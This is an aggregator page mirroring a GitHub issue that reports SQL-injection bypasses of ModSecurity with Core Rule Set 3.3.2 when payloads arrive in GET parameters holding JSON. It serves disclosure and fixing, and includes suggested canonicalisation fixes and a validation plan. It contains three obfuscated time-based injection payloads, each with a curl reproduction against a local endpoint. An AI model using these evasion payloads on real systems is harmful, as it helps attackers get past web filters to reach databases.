owasp-modsecurity / owasp-modsecurity/ModSecurity

ModSecurity GET(JSON): SQLi bypass via separator, literal, and annotation variants

Open
#3,586 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C++
Stars
9.8k
Forks
1.8k
Avg merge
2h 46m
Merged PRs (30d)
1

Description

[ModSecurity][GET(JSON)] SQLi bypass via lexical-separator variants and literal/annotation variants

Summary

  • WAF: ModSecurity
  • Request manner: GET(JSON)
  • Defect pattern: Lexical-separator variants and literal/annotation variants.
  • Evaluation scope: 623 unique SQLi mutation attempts; 257 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • command_injection: combines space-to-comment substitution with comment rewriting
  • random_case: randomly changes capitalization of SQL keywords
  • spaces_to_comments: replaces spaces with inline block comments, or block comments with spaces
  • comment_rewriting: appends noise after line comments or rewrites block-comment contents
  • inline_comment: wraps SQL keywords in MySQL executable comments such as /*!SELECT*/

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
  • Transformed payload excerpt, with invisible characters rendered explicitly:
(/*TQ6M#*//*0x2@zCf*/0x1)%"));begin user_lock.sleep((SELECT/*Lhd#*/(SELECT/**/(SELECT/**/5))));/**/end/**/and/*tYS}*/(("%"=")Tu
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%28%2F%2ATQ6M%23%2A%2F%2F%2A0x2%40zCf%2A%2F0x1%29%25%5C%22%29%29%3Bbegin%20user_lock.sleep%28%28SELECT%2F%2ALhd%23%2A%2F%28SELECT%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5%29%29%29%29%3B%2F%2A%2A%2Fend%2F%2A%2A%2Fand%2F%2AtYS%7D%2A%2F%28%28%5C%22%25%5C%22%3D%5C%22%29Tu%22%7D'
Case 2
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
... end and '%' = '
  • Transformed payload excerpt, with invisible characters rendered explicitly:
 /* =jl$*/<TAB>/*nA?*//*_#<VT>*/'%' <TAB>/*0x8#$X1*/ '0x7*.0x4
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%22%20%2F%2A%20%3Djl%24%2A%2F%5Ct%2F%2AnA%3F%2A%2F%2F%2A_%23%5Cu000b%2A%2F%27%25%27%20%5Ct%2F%2A0x8%23%24X1%2A%2F%20%270x7%2A.0x4%22%7D'
Case 3
  • Final decision change: 1 => 0
  • Matching rationale: The transformed payload relies on separator, literal, or annotation changes that should normalize to the same SQL token stream. Observable features: lexical separator, literal variant, annotation variant.
  • Original payload excerpt:
...1" where 9669=9669;select sleep(5)--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1"/*K?2*//*=*//*bE*/9669=0x25c5;/**//*L\\#1O*/sleep((select 0x5))--<q
Minimal Reproduction
  • Endpoint: http://127.0.0.1:9000/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf?data=%7B%22id%22%3A%221%5C%22%2F%2AK%3F2%2A%2F%2F%2A%3D%2A%2F%2F%2AbE%2A%2F9669%3D0x25c5%3B%2F%2A%2A%2F%2F%2AL%5C%5C%231O%2A%2Fsleep%28%28select%200x5%29%29--%3Cq%22%7D'

Suggested Fixes

  • Apply canonicalization before SQLi matching: collapse TAB/CR/VT/FF/NBSP to ordinary spaces, normalize keyword case, and safely process regular and executable comments.
  • Normalize literal forms and comment-split tokens, for example 0x1 to 1 and uni/**/on to union, before evaluating SQLi rules.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with the GET(JSON) request path and trace how its input reaches SQLi matching and canonicalization, then compare that path with GET and POST handling. Add regression coverage for the three transformed examples and negative cases containing benign comments, whitespace, and JSON formatting. Done means the representative variants remain blocked without introducing those false positives.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
28/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.